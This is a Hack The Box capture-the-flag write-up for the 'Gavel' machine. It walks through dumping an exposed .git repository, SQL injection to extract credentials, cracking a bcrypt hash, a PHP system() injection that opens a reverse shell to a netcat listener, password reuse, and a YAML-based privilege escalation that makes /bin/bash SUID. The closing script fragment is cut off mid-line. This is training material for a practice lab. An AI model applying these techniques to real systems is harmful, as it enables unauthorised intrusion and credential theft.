Gavel is a medium-difficulty machine from Hack The Box that starts with discovering an exposed .git directory on the web application. Dumping the repository reveals source code containing a SQL injection vulnerability in the inventory page, which we use to extract user credentials. After cracking the auctioneer bcrypt hash, we gain access to an admin panel that evaluates PHP rules on auction items β injecting a system() call gives us a reverse shell. Lateral movement to the auctioneer user is achieved through password reuse, and privilege escalation abuses a custom gavel-util binary by submitting malicious YAML configurations that overwrite php.ini restrictions and SUID /bin/bash.
Gavel-info-card
Reconnaissance
We start with a port scan to identify running services.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA) |_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://gavel.htb/ Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see our usual SSH on port 22 and an Apache web server on port 80 redirecting us to gavel.htb.
Web Enumeration
Running feroxbuster against the web application to discover hidden directories and files.
The .git directory is exposed on the web server. We use git-dumper to download the full repository.
1
$ git-dumper http://gavel.htb/.git ./gavel-git
1 2 3 4
βββ(kaliγΏkali)-[~/Desktop/gavel-git] ββ$ ls admin.php assets bidding.php includes index.php inventory.php login.php logout.php register.php rules
Source Code Review
Reviewing the dumped source code, we find an interesting SQL injection vulnerability in inventory.php.
SQL Injection - Credential Extraction
The inventory.php page is vulnerable to SQL injection through the user_id and sort parameters. We craft a payload to extract credentials from the users table:
We extract the auctioneer hash: $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
Cracking the Hash
We crack the bcrypt hash using john with the rockyou.txt wordlist.
1 2 3 4 5 6 7 8 9 10
$ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status midnight1 (?) 1g 0:00:00:16 DONE (2025-12-02 03:20) 0.05885g/s 180.1p/s 180.1c/s 180.1C/s iamcool..memories Use the "--show" option to display all of the cracked passwords reliably Session completed.
We can also bruteforce the password directly on the dashboard after identifying the auctioneer username from the source code.
Credentials: auctioneer:midnight1
Admin Panel - Remote Code Execution
We log in as auctioneer and gain access to the admin panel. The admin panel allows defining PHP rules for auction items. We inject a system() call to get a reverse shell:
After navigating to the bidding section and submitting any bid, the rule gets evaluated and we receive a callback on our listener.
1 2 3 4 5 6 7
$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.10] from (UNKNOWN) [10.129.44.100] 52174 sh: 0: can't access tty; job control turned off $ bash id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral Movement - auctioneer
The cracked password midnight1 is reused for the system user auctioneer.
1 2 3 4
su auctioneer Password: midnight1 id uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Privilege Escalation
Checking the /opt/gavel directory, we find a custom binary gaveld and a gavel-util submission tool.
1 2 3 4 5 6 7 8 9
auctioneer@gavel:/opt/gavel$ ls -al ls -al total 56 drwxr-xr-x 4 root root 4096 Nov 5 12:46 . drwxr-xr-x 3 root root 4096 Nov 5 12:46 .. drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config -rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld -rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
We craft a malicious YAML payload to first overwrite php.ini and remove disable_functions and open_basedir restrictions, then trigger system() to SUID /bin/bash.
if [ -f /tmp/rootbash ]; then echo "[+] Alternative payload SUCCESS! /tm echo "[*] Spawning root shell and reading /tmp/rootbash -p -c 'cat /root/root.txt; e else echo "[-] All attempts failed." exit 1 fi fi
